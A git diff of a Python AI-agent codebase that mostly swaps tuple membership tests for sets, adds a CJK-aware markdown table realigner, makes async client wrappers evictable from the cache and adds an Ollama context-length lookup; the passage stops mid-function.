diff --git a/acp_adapter/tools.py b/acp_adapter/tools.py index e7e53a6277ba..31ae943a0565 100644 --- a/acp_adapter/tools.py +++ b/acp_adapter/tools.py @@ -769,8 +769,8 @@ def _build_patch_mode_content(patch_text: str) -> List[Any]: old_chunks: list[str] = [] new_chunks: list[str] = [] for hunk in op.hunks: - old_lines = [line.content for line in hunk.lines if line.prefix in (" ", "-")] - new_lines = [line.content for line in hunk.lines if line.prefix in (" ", "+")] + old_lines = [line.content for line in hunk.lines if line.prefix in {" ", "-"}] + new_lines = [line.content for line in hunk.lines if line.prefix in {" ", "+"}] if old_lines or new_lines: old_chunks.append("\n".join(old_lines)) new_chunks.append("\n".join(new_lines)) diff --git a/agent/account_usage.py b/agent/account_usage.py index 0e9562dcc9e7..be03646021e2 100644 --- a/agent/account_usage.py +++ b/agent/account_usage.py @@ -47,7 +47,7 @@ def _title_case_slug(value: Optional[str]) -> Optional[str]: def _parse_dt(value: Any) -> Optional[datetime]: - if value in (None, ""): + if value in {None, ""}: return None if isinstance(value, (int, float)): return datetime.fromtimestamp(float(value), tz=timezone.utc) diff --git a/agent/anthropic_adapter.py b/agent/anthropic_adapter.py index d9429c659f20..3919c8565b27 100644 --- a/agent/anthropic_adapter.py +++ b/agent/anthropic_adapter.py @@ -35,6 +35,14 @@ def _get_anthropic_sdk(): """Return the ``anthropic`` SDK module, importing lazily. None if not installed.""" global _anthropic_sdk if _anthropic_sdk is ...: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("provider.anthropic", prompt=False) + except ImportError: + pass + except Exception: + # FeatureUnavailable — fall through to ImportError handling below + pass try: import anthropic as _sdk _anthropic_sdk = _sdk @@ -1289,13 +1297,21 @@ def convert_tools_to_anthropic(tools: List[Dict]) -> List[Dict]: continue if name: seen_names.add(name) - result.append({ + anthropic_tool: Dict[str, Any] = { "name": name, "description": fn.get("description", ""), "input_schema": _normalize_tool_input_schema( fn.get("parameters", {"type": "object", "properties": {}}) ), - }) + } + # Forward cache_control marker when present on the OpenAI-format + # tool dict (set by ``mark_tools_for_long_lived_cache``). Anthropic's + # tools array supports cache_control on the last tool to cache the + # entire schema cross-session. + cache_control = t.get("cache_control") + if isinstance(cache_control, dict): + anthropic_tool["cache_control"] = dict(cache_control) + result.append(anthropic_tool) return result @@ -1537,7 +1553,7 @@ def convert_messages_to_anthropic( # downgraded to a spurious text block on the last assistant message. reasoning_content = m.get("reasoning_content") _already_has_thinking = any( - isinstance(b, dict) and b.get("type") in ("thinking", "redacted_thinking") + isinstance(b, dict) and b.get("type") in {"thinking", "redacted_thinking"} for b in blocks ) if isinstance(reasoning_content, str) and not _already_has_thinking: @@ -1688,7 +1704,7 @@ def convert_messages_to_anthropic( if isinstance(m["content"], list): m["content"] = [ b for b in m["content"] - if not (isinstance(b, dict) and b.get("type") in ("thinking", "redacted_thinking")) + if not (isinstance(b, dict) and b.get("type") in {"thinking", "redacted_thinking"}) ] prev_blocks = fixed[-1]["content"] curr_blocks = m["content"] diff --git a/agent/auxiliary_client.py b/agent/auxiliary_client.py index 693826920cbf..da69f040bb18 100644 --- a/agent/auxiliary_client.py +++ b/agent/auxiliary_client.py @@ -175,7 +175,7 @@ def _normalize_aux_provider(provider: Optional[str]) -> str: # Resolve to the user's actual main provider so named custom providers # and non-aggregator providers (DeepSeek, Alibaba, etc.) work correctly. main_prov = (_read_main_provider() or "").strip().lower() - if main_prov and main_prov not in ("auto", "main", ""): + if main_prov and main_prov not in {"auto", "main", ""}: normalized = main_prov else: return "custom" @@ -382,7 +382,7 @@ def build_or_headers(or_config: dict | None = None) -> dict: # Nous Portal extra_body for product attribution. # Callers should pass this as extra_body in chat.completions.create() # when the auxiliary client is backed by Nous Portal. -NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent"]} +NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent", "client=aux"]} # Set at resolve time — True if the auxiliary client points to Nous Portal auxiliary_is_nous: bool = False @@ -578,7 +578,7 @@ def _convert_content_for_responses(content: Any) -> Any: if detail: entry["detail"] = detail converted.append(entry) - elif ptype in ("input_text", "input_image"): + elif ptype in {"input_text", "input_image"}: # Already in Responses format — pass through converted.append(part) else: @@ -798,7 +798,7 @@ def _item_get(obj: Any, key: str, default: Any = None) -> Any: if item_type == "message": for part in (_item_get(item, "content") or []): ptype = _item_get(part, "type") - if ptype in ("output_text", "text"): + if ptype in {"output_text", "text"}: text_parts.append(_item_get(part, "text", "")) elif item_type == "function_call": tool_calls_raw.append(SimpleNamespace( @@ -900,6 +900,14 @@ def __init__(self, sync_wrapper: "CodexAuxiliaryClient"): self.chat = _AsyncCodexChatShim(async_adapter) self.api_key = sync_wrapper.api_key self.base_url = sync_wrapper.base_url + # Mirror the sync wrapper's _real_client so cache eviction by leaf + # OpenAI client (e.g. _close_client_on_timeout in #23482) drops + # this async entry too. Without this, sync and async cache entries + # diverge on poisoning: the sync entry is evicted but the async + # entry keeps reusing the closed transport, failing every + # subsequent async aux call with 'Connection error' until the + # gateway restarts. + self._real_client = sync_wrapper._real_client class _AnthropicCompletionsAdapter: @@ -1035,6 +1043,9 @@ def __init__(self, sync_wrapper: "AnthropicAuxiliaryClient"): self.chat = _AsyncAnthropicChatShim(async_adapter) self.api_key = sync_wrapper.api_key self.base_url = sync_wrapper.base_url + # See AsyncCodexAuxiliaryClient: mirror _real_client so cache + # eviction on a poisoned underlying client also drops this entry. + self._real_client = sync_wrapper._real_client def _endpoint_speaks_anthropic_messages(base_url: str) -> bool: @@ -1949,7 +1960,7 @@ def _is_payment_error(exc: Exception) -> bool: err_lower = str(exc).lower() # OpenRouter and other providers include "credits" or "afford" in 402 bodies, # but sometimes wrap them in 429 or other codes. - if status in (402, 429, None): + if status in {402, 429, None}: if any(kw in err_lower for kw in ("credits", "insufficient funds", "can only afford", "billing", "payment required")): @@ -2108,9 +2119,13 @@ def _evict_cached_client_instance(target: Any) -> bool: transport after a timeout, broken streaming session, etc.) so the next auxiliary call rebuilds rather than reusing the dead instance. - Walks ``CodexAuxiliaryClient`` wrappers via their ``_real_client`` so a - timeout that closes the underlying ``OpenAI`` client also evicts the - Codex shim that exposed it. + Walks both sync and async wrappers (``CodexAuxiliaryClient``, + ``AnthropicAuxiliaryClient``, ``AsyncCodexAuxiliaryClient``, etc.) via + their ``_real_client`` attribute so a timeout that closes the underlying + ``OpenAI`` (or native provider) client evicts every cached shim that + exposed it. Async wrappers must mirror their sync sibling's + ``_real_client`` for this to work — otherwise the sync entry is evicted + but the async entry survives and keeps reusing the dead transport. Returns True when at least one entry was evicted. """ @@ -2142,7 +2157,7 @@ def _pool_cache_hint( if normalized == "auto": runtime = _normalize_main_runtime(main_runtime) normalized = _normalize_aux_provider(runtime.get("provider") or _read_main_provider()) - if normalized in ("", "auto", "custom"): + if normalized in {"", "auto", "custom"}: return "" entry = _peek_pool_entry(normalized) if entry is None: @@ -2164,7 +2179,7 @@ def _pool_error_context(exc: Exception) -> Dict[str, Any]: def _recoverable_pool_provider(resolved_provider: str, client: Any) -> Optional[str]: """Infer which provider pool can recover the current auxiliary client.""" normalized = _normalize_aux_provider(resolved_provider) - if normalized not in ("", "auto", "custom"): + if normalized not in {"", "auto", "custom"}: return normalized base = str(getattr(client, "base_url", "") or "") if base_url_host_matches(base, "chatgpt.com"): @@ -2481,7 +2496,7 @@ def _resolve_auto(main_runtime: Optional[Dict[str, Any]] = None) -> Tuple[Option main_provider = runtime_provider or _read_main_provider() main_model = runtime_model or _read_main_model() if (main_provider and main_model - and main_provider not in ("auto", "")): + and main_provider not in {"auto", ""}): resolved_provider = main_provider explicit_base_url = None explicit_api_key = None @@ -3142,7 +3157,7 @@ def _wrap_if_needed(client_obj, final_model_str: str, base_url_str: str = "", return (_to_async_client(client, final_model, is_vision=is_vision) if async_mode else (client, final_model)) - elif pconfig.auth_type in ("oauth_device_code", "oauth_external"): + elif pconfig.auth_type in {"oauth_device_code", "oauth_external"}: # OAuth providers — route through their specific try functions if provider == "nous": return resolve_provider_client("nous", model, async_mode) @@ -3251,7 +3266,7 @@ def get_available_vision_backends() -> List[str]: available: List[str] = [] # 1. Active provider — if the user configured a provider, try it first. main_provider = _read_main_provider() - if main_provider and main_provider not in ("auto", ""): + if main_provider and main_provider not in {"auto", ""}: if main_provider in _VISION_AUTO_PROVIDER_ORDER: if _strict_vision_backend_available(main_provider): available.append(main_provider) @@ -3297,7 +3312,7 @@ def _finalize(resolved_provider: str, sync_client: Any, default_model: Optional[ if resolved_base_url: provider_for_base_override = ( - requested if requested and requested not in ("", "auto") else "custom" + requested if requested and requested not in {"", "auto"} else "custom" ) client, final_model = resolve_provider_client( provider_for_base_override, @@ -3325,7 +3340,7 @@ def _finalize(resolved_provider: str, sync_client: Any, default_model: Optional[ # 4. Stop main_provider = _read_main_provider() main_model = _read_main_model() - if main_provider and main_provider not in ("auto", ""): + if main_provider and main_provider not in {"auto", ""}: vision_model = _PROVIDER_VISION_MODELS.get(main_provider, main_model) if main_provider == "nous": sync_client, default_model = _resolve_strict_vision_backend( @@ -4011,7 +4026,7 @@ def _build_call_kwargs( # Provider-specific extra_body merged_extra = dict(extra_body or {}) if provider == "nous" or auxiliary_is_nous: - merged_extra.setdefault("tags", []).extend(["product=hermes-agent"]) + merged_extra.setdefault("tags", []).extend(NOUS_EXTRA_BODY["tags"]) if merged_extra: kwargs["extra_body"] = merged_extra @@ -4131,7 +4146,7 @@ def call_llm( # credentials were found, fail fast instead of silently routing # through OpenRouter (which causes confusing 404s). _explicit = (resolved_provider or "").strip().lower() - if _explicit and _explicit not in ("auto", "openrouter", "custom"): + if _explicit and _explicit not in {"auto", "openrouter", "custom"}: raise RuntimeError( f"Provider '{_explicit}' is set in config.yaml but no API key " f"was found. Set the {_explicit.upper()}_API_KEY environment " @@ -4261,7 +4276,7 @@ def call_llm( # ── Auth refresh retry ─────────────────────────────────────── if (_is_auth_error(first_err) - and resolved_provider not in ("auto", "", None) + and resolved_provider not in {"auto", "", None} and not client_is_nous): if _refresh_provider_credentials(resolved_provider): logger.info( @@ -4344,7 +4359,7 @@ def call_llm( # Only try alternative providers when the user didn't explicitly # configure this task's provider. Explicit provider = hard constraint; # auto (the default) = best-effort fallback chain. (#7559) - is_auto = resolved_provider in ("auto", "", None) + is_auto = resolved_provider in {"auto", "", None} if should_fallback and is_auto: if _is_payment_error(first_err): reason = "payment error" @@ -4500,7 +4515,7 @@ async def async_call_llm( ) if client is None: _explicit = (resolved_provider or "").strip().lower() - if _explicit and _explicit not in ("auto", "openrouter", "custom"): + if _explicit and _explicit not in {"auto", "openrouter", "custom"}: raise RuntimeError( f"Provider '{_explicit}' is set in config.yaml but no API key " f"was found. Set the {_explicit.upper()}_API_KEY environment " @@ -4611,7 +4626,7 @@ async def async_call_llm( # ── Auth refresh retry (mirrors sync call_llm) ─────────────── if (_is_auth_error(first_err) - and resolved_provider not in ("auto", "", None) + and resolved_provider not in {"auto", "", None} and not client_is_nous): if _refresh_provider_credentials(resolved_provider): logger.info( @@ -4673,7 +4688,7 @@ async def async_call_llm( or _is_connection_error(first_err) or _is_rate_limit_error(first_err) ) - is_auto = resolved_provider in ("auto", "", None) + is_auto = resolved_provider in {"auto", "", None} if should_fallback and is_auto: if _is_payment_error(first_err): reason = "payment error" diff --git a/agent/context_compressor.py b/agent/context_compressor.py index 885b0ca7895c..d16236737c40 100644 --- a/agent/context_compressor.py +++ b/agent/context_compressor.py @@ -167,7 +167,7 @@ def _strip_image_parts_from_parts(parts: Any) -> Any: out.append(part) continue ptype = part.get("type") - if ptype in ("image", "image_url", "input_image"): + if ptype in {"image", "image_url", "input_image"}: had_image = True out.append({"type": "text", "text": "[screenshot removed to save context]"}) else: @@ -274,8 +274,8 @@ def _summarize_tool_result(tool_name: str, tool_args: str, tool_content: str) -> mode = args.get("mode", "replace") return f"[patch] {mode} in {path} ({content_len:,} chars result)" - if tool_name in ("browser_navigate", "browser_click", "browser_snapshot", - "browser_type", "browser_scroll", "browser_vision"): + if tool_name in {"browser_navigate", "browser_click", "browser_snapshot", + "browser_type", "browser_scroll", "browser_vision"}: url = args.get("url", "") ref = args.get("ref", "") detail = f" {url}" if url else (f" ref={ref}" if ref else "") @@ -304,7 +304,7 @@ def _summarize_tool_result(tool_name: str, tool_args: str, tool_content: str) -> code_preview += "..." return f"[execute_code] `{code_preview}` ({line_count} lines output)" - if tool_name in ("skill_view", "skills_list", "skill_manage"): + if tool_name in {"skill_view", "skills_list", "skill_manage"}: name = args.get("name", "?") return f"[{tool_name}] name={name} ({content_len:,} chars)" @@ -979,13 +979,13 @@ def _generate_summary(self, turns_to_summarize: List[Dict[str, Any]], focus_topi _status = getattr(e, "status_code", None) or getattr(getattr(e, "response", None), "status_code", None) _err_str = str(e).lower() _is_model_not_found = ( - _status in (404, 503) + _status in {404, 503} or "model_not_found" in _err_str or "does not exist" in _err_str or "no available channel" in _err_str ) _is_timeout = ( - _status in (408, 429, 502, 504) + _status in {408, 429, 502, 504} or "timeout" in _err_str ) # Non-JSON / malformed-body responses from misconfigured providers @@ -1316,8 +1316,7 @@ def _find_tail_cut_by_tokens( # Ensure we protect at least min_tail messages fallback_cut = n - min_tail - if cut_idx > fallback_cut: - cut_idx = fallback_cut + cut_idx = min(cut_idx, fallback_cut) # If the token budget would protect everything (small conversations), # force a cut after the head so compression can still remove middle turns. @@ -1480,7 +1479,7 @@ def compress(self, messages: List[Dict[str, Any]], current_tokens: int = None, f first_tail_role = messages[compress_end].get("role", "user") if compress_end < n_messages else "user" # Pick a role that avoids consecutive same-role with both neighbors. # Priority: avoid colliding with head (already committed), then tail. - if last_head_role in ("assistant", "tool"): + if last_head_role in {"assistant", "tool"}: summary_role = "user" else: summary_role = "assistant" diff --git a/agent/credential_pool.py b/agent/credential_pool.py index 0043c70ca296..aeda76225c85 100644 --- a/agent/credential_pool.py +++ b/agent/credential_pool.py @@ -149,7 +149,7 @@ def to_dict(self) -> Dict[str, Any]: } result: Dict[str, Any] = {} for field_def in fields(self): - if field_def.name in ("provider", "extra"): + if field_def.name in {"provider", "extra"}: continue value = getattr(self, field_def.name) if value is not None or field_def.name in _ALWAYS_EMIT: diff --git a/agent/error_classifier.py b/agent/error_classifier.py index 1a42a9589eee..d29a2e34ac6b 100644 --- a/agent/error_classifier.py +++ b/agent/error_classifier.py @@ -83,7 +83,7 @@ class ClassifiedError: @property def is_auth(self) -> bool: - return self.reason in (FailoverReason.auth, FailoverReason.auth_permanent) + return self.reason in {FailoverReason.auth, FailoverReason.auth_permanent} @@ -688,10 +688,10 @@ def _classify_by_status( result_fn=result_fn, ) - if status_code in (500, 502): + if status_code in {500, 502}: return result_fn(FailoverReason.server_error, retryable=True) - if status_code in (503, 529): + if status_code in {503, 529}: return result_fn(FailoverReason.overloaded, retryable=True) # Other 4xx — non-retryable @@ -810,7 +810,7 @@ def _classify_400( # Responses API (and some providers) use flat body: {"message": "..."} if not err_body_msg: err_body_msg = str(body.get("message") or "").strip().lower() - is_generic = len(err_body_msg) < 30 or err_body_msg in ("error", "") + is_generic = len(err_body_msg) < 30 or err_body_msg in {"error", ""} # Absolute token/message-count thresholds are only a proxy for smaller # context windows. Large-context sessions can have many messages while # still being far below their actual token budget. @@ -841,14 +841,14 @@ def _classify_by_error_code( """Classify by structured error codes from the response body.""" code_lower = error_code.lower() - if code_lower in ("resource_exhausted", "throttled", "rate_limit_exceeded"): + if code_lower in {"resource_exhausted", "throttled", "rate_limit_exceeded"}: return result_fn( FailoverReason.rate_limit, retryable=True, should_rotate_credential=True, ) - if code_lower in ("insufficient_quota", "billing_not_active", "payment_required"): + if code_lower in {"insufficient_quota", "billing_not_active", "payment_required"}: return result_fn( FailoverReason.billing, retryable=False, @@ -856,14 +856,14 @@ def _classify_by_error_code( should_fallback=True, ) - if code_lower in ("model_not_found", "model_not_available", "invalid_model"): + if code_lower in {"model_not_found", "model_not_available", "invalid_model"}: return result_fn( FailoverReason.model_not_found, retryable=False, should_fallback=True, ) - if code_lower in ("context_length_exceeded", "max_tokens_exceeded"): + if code_lower in {"context_length_exceeded", "max_tokens_exceeded"}: return result_fn( FailoverReason.context_overflow, retryable=True, diff --git a/agent/gemini_cloudcode_adapter.py b/agent/gemini_cloudcode_adapter.py index 64c51cf9d814..5bc42e3aad75 100644 --- a/agent/gemini_cloudcode_adapter.py +++ b/agent/gemini_cloudcode_adapter.py @@ -77,7 +77,7 @@ def _coerce_content_to_text(content: Any) -> str: if p.get("type") == "text" and isinstance(p.get("text"), str): pieces.append(p["text"]) # Multimodal (image_url, etc.) — stub for now; log and skip - elif p.get("type") in ("image_url", "input_audio"): + elif p.get("type") in {"image_url", "input_audio"}: logger.debug("Dropping multimodal part (not yet supported): %s", p.get("type")) return "\n".join(pieces) return str(content) diff --git a/agent/gemini_native_adapter.py b/agent/gemini_native_adapter.py index 2416a6bc8916..b0d903372cde 100644 --- a/agent/gemini_native_adapter.py +++ b/agent/gemini_native_adapter.py @@ -945,6 +945,12 @@ def __init__(self, sync_client: GeminiNativeClient): self.api_key = sync_client.api_key self.base_url = sync_client.base_url self.chat = _AsyncGeminiChatNamespace(self) + # Expose the underlying sync client as _real_client so the auxiliary + # cache's eviction-by-leaf-client helper (#23482) can find and drop + # this async entry when the sync GeminiNativeClient is poisoned. + # GeminiNativeClient is itself the leaf (no OpenAI client beneath + # it), so we point at the sync_client directly. + self._real_client = sync_client async def _create_chat_completion(self, **kwargs: Any) -> Any: stream = bool(kwargs.get("stream")) diff --git a/agent/image_routing.py b/agent/image_routing.py index 0b6687787a08..d5247ab222f7 100644 --- a/agent/image_routing.py +++ b/agent/image_routing.py @@ -76,7 +76,7 @@ def _explicit_aux_vision_override(cfg: Optional[Dict[str, Any]]) -> bool: base_url = str(vision.get("base_url") or "").strip() # "auto" / "" / blank = not explicit - if provider in ("", "auto") and not model and not base_url: + if provider in {"", "auto"} and not model and not base_url: return False return True @@ -163,7 +163,7 @@ def _sniff_mime_from_bytes(raw: bytes) -> Optional[str]: if raw.startswith(b"\xff\xd8\xff"): return "image/jpeg" # GIF87a / GIF89a - if raw[:6] in (b"GIF87a", b"GIF89a"): + if raw[:6] in {b"GIF87a", b"GIF89a"}: return "image/gif" # WEBP: "RIFF" .... "WEBP" if len(raw) >= 12 and raw[:4] == b"RIFF" and raw[8:12] == b"WEBP": @@ -172,9 +172,9 @@ def _sniff_mime_from_bytes(raw: bytes) -> Optional[str]: if raw.startswith(b"BM"): return "image/bmp" # HEIC/HEIF: ftypheic / ftypheix / ftypmif1 / ftypmsf1 etc. - if len(raw) >= 12 and raw[4:8] == b"ftyp" and raw[8:12] in ( + if len(raw) >= 12 and raw[4:8] == b"ftyp" and raw[8:12] in { b"heic", b"heix", b"hevc", b"hevx", b"mif1", b"msf1", b"heim", b"heis", - ): + }: return "image/heic" return None diff --git a/agent/markdown_tables.py b/agent/markdown_tables.py new file mode 100644 index 000000000000..f37569cede9d --- /dev/null +++ b/agent/markdown_tables.py @@ -0,0 +1,309 @@ +"""CJK/wide-character-aware re-alignment of model-emitted markdown tables. + +Models pad markdown tables assuming each character occupies one terminal +cell. CJK glyphs and most emoji render as two cells, so the model's +spacing collapses into drift the moment a table reaches a real terminal — +header pipes line up, every body row drifts right by N cells per CJK +char. + +This module rebuilds row padding using ``wcwidth.wcswidth`` (display +columns), preserving the table's pipes and dashes so it still reads as a +plain-text table in ``strip`` / unrendered display modes. Standard Rich +markdown rendering already aligns CJK correctly inside a wide enough +panel; this helper is for the paths that print the model's text more or +less verbatim. + +The helper is deliberately conservative: + +* Only contiguous ``| ... |`` blocks with a divider line are rewritten. +* Anything that does not look like a table is passed through unchanged. +* Single-line / mid-stream fragments are left alone — callers buffer + table rows and flush them once the block is complete. + +There is a small, intentional caveat: ``wcwidth`` returns ``-1`` for some +emoji-with-variation-selector sequences (e.g. ``⚠️``); we clamp those to +0 so they do not corrupt the column width math. The 1-cell drift on +those specific glyphs is preferable to silently widening every table +that contains one. +""" + +from __future__ import annotations + +import re +from typing import List + +from wcwidth import wcswidth + +__all__ = [ + "is_table_divider", + "looks_like_table_row", + "realign_markdown_tables", + "split_table_row", +] + + +_DIVIDER_CELL_RE = re.compile(r"^\s*:?-{3,}:?\s*$") +_MIN_COL_WIDTH = 3 # matches the divider's minimum dash run. + + +def _disp_width(s: str) -> int: + """``wcswidth`` clamped to a non-negative integer. + + ``wcswidth`` returns ``-1`` when it encounters a control char or an + unknown sequence; treat those as zero-width rather than letting a + negative number flow into ``max`` and break the column-width math. + """ + + w = wcswidth(s) + return w if w > 0 else 0 + + +def _pad_to_width(s: str, target: int) -> str: + return s + " " * max(0, target - _disp_width(s)) + + +def split_table_row(row: str) -> List[str]: + """Split ``| a | b | c |`` into ``["a", "b", "c"]`` with trims.""" + + s = row.strip() + if s.startswith("|"): + s = s[1:] + if s.endswith("|"): + s = s[:-1] + return [c.strip() for c in s.split("|")] + + +def is_table_divider(row: str) -> bool: + """True when ``row`` is a markdown table separator line.""" + + cells = split_table_row(row) + return len(cells) > 1 and all(_DIVIDER_CELL_RE.match(c) for c in cells) + + +def looks_like_table_row(row: str) -> bool: + """True when ``row`` could plausibly be a markdown table row. + + Used by streaming callers to decide whether to buffer an in-flight + line. We are intentionally permissive here — the realigner itself + only rewrites blocks that are accompanied by a divider, so a false + positive here at most delays the print of one line. + """ + + if "|" not in row: + return False + stripped = row.strip() + if not stripped: + return False + # A leading pipe is the strongest signal; without it we still allow + # rows with at least two pipes so models that omit the leading pipe + # don't slip past us. + if stripped.startswith("|"): + return True + return stripped.count("|") >= 2 + + +def _render_block(rows: List[List[str]], available_width: int | None = None) -> List[str]: + """Render ``rows`` (header + body, divider implied) at uniform widths. + + If ``available_width`` is given and the rebuilt horizontal table + would exceed it, fall back to a vertical key-value rendering so + rows do not soft-wrap mid-cell — terminal soft-wrap destroys + column alignment visually even when the underlying bytes are + perfectly padded, which is exactly the "tables look broken" + user report this code path is meant to address. + """ + + ncols = max(len(r) for r in rows) + rows = [r + [""] * (ncols - len(r)) for r in rows] + + widths = [ + max(_MIN_COL_WIDTH, *(_disp_width(r[c]) for r in rows)) + for c in range(ncols) + ] + + # Total horizontal width for the rendered row: + # `| ` + cell + ` ` for each column, plus the final closing `|`. + horizontal_width = sum(widths) + 3 * ncols + 1 + + if available_width is not None and horizontal_width > max(available_width, 20): + return _render_vertical(rows, ncols, available_width) + + def _row(cells: List[str]) -> str: + return ( + "| " + + " | ".join(_pad_to_width(c, widths[k]) for k, c in enumerate(cells)) + + " |" + ) + + out = [_row(rows[0])] + out.append("|" + "|".join("-" * (w + 2) for w in widths) + "|") + for r in rows[1:]: + out.append(_row(r)) + return out + + +def _wrap_to_width(text: str, width: int) -> List[str]: + """Soft-wrap ``text`` at word boundaries to fit ``width`` display cells. + + Falls back to hard-breaking the longest word if a single token is + wider than ``width``. Empty input yields a single empty string so + the caller's row count stays predictable. + """ + + if width <= 0 or not text: + return [text] + + words = text.split() + if not words: + return [""] + + lines: List[str] = [] + current = "" + current_w = 0 + + def _hard_break(word: str, w: int) -> List[str]: + out: List[str] = [] + buf = "" + bw = 0 + for ch in word: + cw = _disp_width(ch) or 1 + if bw + cw > w and buf: + out.append(buf) + buf = ch + bw = cw + else: + buf += ch + bw += cw + if buf: + out.append(buf) + return out + + for word in words: + ww = _disp_width(word) + if not current: + if ww <= width: + current = word + current_w = ww + else: + pieces = _hard_break(word, width) + lines.extend(pieces[:-1]) + current = pieces[-1] if pieces else "" + current_w = _disp_width(current) + continue + if current_w + 1 + ww <= width: + current += " " + word + current_w += 1 + ww + else: + lines.append(current) + if ww <= width: + current = word + current_w = ww + else: + pieces = _hard_break(word, width) + lines.extend(pieces[:-1]) + current = pieces[-1] if pieces else "" + current_w = _disp_width(current) + if current: + lines.append(current) + return lines or [""] + + +def _render_vertical( + rows: List[List[str]], ncols: int, available_width: int +) -> List[str]: + """Render a too-wide table as vertical ``Header: value`` rows. + + Mirrors Claude Code's narrow-terminal fallback in + ``MarkdownTable.tsx``: each body row becomes a small block of + ``Header: cell-value`` lines (continuation lines indented two + spaces) separated by a thin ``─`` divider between rows. Keeps + every line narrower than ``available_width`` so the terminal does + not soft-wrap mid-cell. + """ + + if not rows: + return [] + + headers = rows[0] + [""] * (ncols - len(rows[0])) + body = rows[1:] + + labels = [h or f"Column {i + 1}" for i, h in enumerate(headers)] + + sep_width = max(20, min(40, available_width - 2)) if available_width else 30 + separator = "─" * sep_width + indent = " " + indent_w = _disp_width(indent) + + out: List[str] = [] + for ri, row in enumerate(body): + if ri > 0: + out.append(separator) + for ci in range(ncols): + label = labels[ci] + value = row[ci] if ci < len(row) else "" + label_w = _disp_width(label) + first_budget = max(10, available_width - label_w - 2) + cont_budget = max(10, available_width - indent_w) + if not value: + out.append(f"{label}:") + continue + wrapped = _wrap_to_width(value, first_budget) + out.append(f"{label}: {wrapped[0]}") + if len(wrapped) > 1: + # Re-flow continuation text at the wider continuation + # budget — words split across the narrower first-line + # budget should re-pack greedily for the rest. + cont_text = " ".join(wrapped[1:]) + for cl in _wrap_to_width(cont_text, cont_budget): + if cl.strip(): + out.append(f"{indent}{cl}") + return out + + +def realign_markdown_tables(text: str, available_width: int | None = None) -> str: + """Rewrite every ``| ... |`` + divider block with wcwidth-aware padding. + + Lines that are not part of a recognised table are returned verbatim, + so this is safe to apply to arbitrary assistant prose. + + If ``available_width`` is given (terminal cells available for the + rendered table), tables wider than that are rendered as vertical + key-value pairs instead of a horizontal pipe-bordered grid. This + avoids the terminal soft-wrapping mid-cell, which destroys column + alignment visually even when the bytes are perfectly padded. + """ + + if "|" not in text: + return text + + lines = text.split("\n") + out: List[str] = [] + i = 0 + n = len(lines) + + while i < n: + line = lines[i] + # A table starts with a header row whose next line is a divider. + if ( + "|" in line + and i + 1 < n + and is_table_divider(lines[i + 1]) + ): + header = split_table_row(line) + body: List[List[str]] = [] + j = i + 2 + while j < n and "|" in lines[j] and lines[j].strip(): + if is_table_divider(lines[j]): + j += 1 + continue + body.append(split_table_row(lines[j])) + j += 1 + + if any(c for c in header) or body: + out.extend(_render_block([header] + body, available_width)) + i = j + continue + out.append(line) + i += 1 + + return "\n".join(out) diff --git a/agent/memory_manager.py b/agent/memory_manager.py index 1319681d3b19..7eda64fba4dd 100644 --- a/agent/memory_manager.py +++ b/agent/memory_manager.py @@ -470,11 +470,11 @@ def _provider_memory_write_metadata_mode(provider: MemoryProvider) -> str: accepted = [ p for p in params - if p.kind in ( + if p.kind in { inspect.Parameter.POSITIONAL_ONLY, inspect.Parameter.POSITIONAL_OR_KEYWORD, inspect.Parameter.KEYWORD_ONLY, - ) + } ] if len(accepted) >= 4: return "positional" diff --git a/agent/model_metadata.py b/agent/model_metadata.py index cdca9ae5b2f6..100c33a136cc 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -571,7 +571,7 @@ def _extract_pricing(payload: Dict[str, Any]) -> Dict[str, Any]: pricing: Dict[str, Any] = {} for target, aliases in alias_map.items(): for alias in aliases: - if alias in normalized and normalized[alias] not in (None, ""): + if alias in normalized and normalized[alias] not in {None, ""}: pricing[target] = normalized[alias] break if pricing: @@ -1006,6 +1006,79 @@ def query_ollama_num_ctx(model: str, base_url: str, api_key: str = "") -> Option return None +def _query_ollama_api_show(model: str, base_url: str, api_key: str = "") -> Optional[int]: + """Query an Ollama server's native ``/api/show`` for context length. + + Provider-agnostic: works against ANY Ollama-compatible server regardless + of hostname — local Ollama, Ollama Cloud (``ollama.com``), custom Ollama + hosting behind a reverse proxy, etc. For non-Ollama servers the POST + returns 404/405 quickly; the function handles errors gracefully. + + For hosted servers the GGUF ``model_info.*.context_length`` is the + authoritative source: the user can't set their own ``num_ctx``, and the + OpenAI-compat ``/v1/models`` endpoint correctly omits ``context_length`` + per the OpenAI schema. + + Resolution order for hosted Ollama: + 1. ``model_info.*.context_length`` — GGUF training max (authoritative) + 2. ``parameters`` → ``num_ctx`` — server-side Modelfile override + The order is flipped vs ``query_ollama_num_ctx()`` because local users + control ``num_ctx`` themselves; hosted users can't. + """ + import httpx + + server_url = base_url.rstrip("/") + if server_url.endswith("/v1"): + server_url = server_url[:-3] + + headers = _auth_headers(api_key) + + try: + with httpx.Client(timeout=5.0, headers=headers) as client: + resp = client.post(f"{server_url}/api/show", json={"name": model}) + if resp.status_code != 200: + return None + data = resp.json() + + # Hosted Ollama: GGUF model_info is the real max — prefer it over + # num_ctx which the Cloud operator may have capped arbitrarily. + model_info = data.get("model_info", {}) + for key, value in model_info.items(): + if "context_length" in key and isinstance(value, (int, float)): + ctx = int(value) + if ctx >= 1024: + return ctx + + # Fall back to num_ctx from Modelfile parameters (rare on Cloud) + params = data.get("parameters", "") + if "num_ctx" in params: + for line in params.split("\n"): + if "num_ctx" in line: + parts = line.strip().split() + if len(parts) >= 2: + try: + ctx = int(parts[-1]) + if ctx >= 1024: + return ctx + except ValueError: + pass + except Exception: + pass + return None + + +def _model_name_suggests_kimi(model: str) -> bool: + """Return True if the model name looks like a Kimi-family model. + + Catches ``kimi-k2.6``, ``kimi-k2.5``, ``kimi-k2-thinking``, + ``moonshotai/Kimi-K2.6``, and similar variants. Used as a guard + against stale OpenRouter metadata that underreports these models + as 32K context when they actually support 262K+. + """ + lower = model.lower() + return lower.startswith("kimi") or "moonshot" in lower + + def _query_local_context_length(model: str, base_url: str, api_key: str = "") -> Optional[int]: """Query a local server for the model's context length.""" import httpx @@ -1265,16 +1338,35 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: with version normalization (dot↔dash). """ metadata = fetch_model_metadata() # OpenRouter cache + + def _safe_ctx(or_id: str, entry: dict) -> Optional[int]: + """Return context length, but reject stale 32k values for Kimi models. + + Apply the same guard 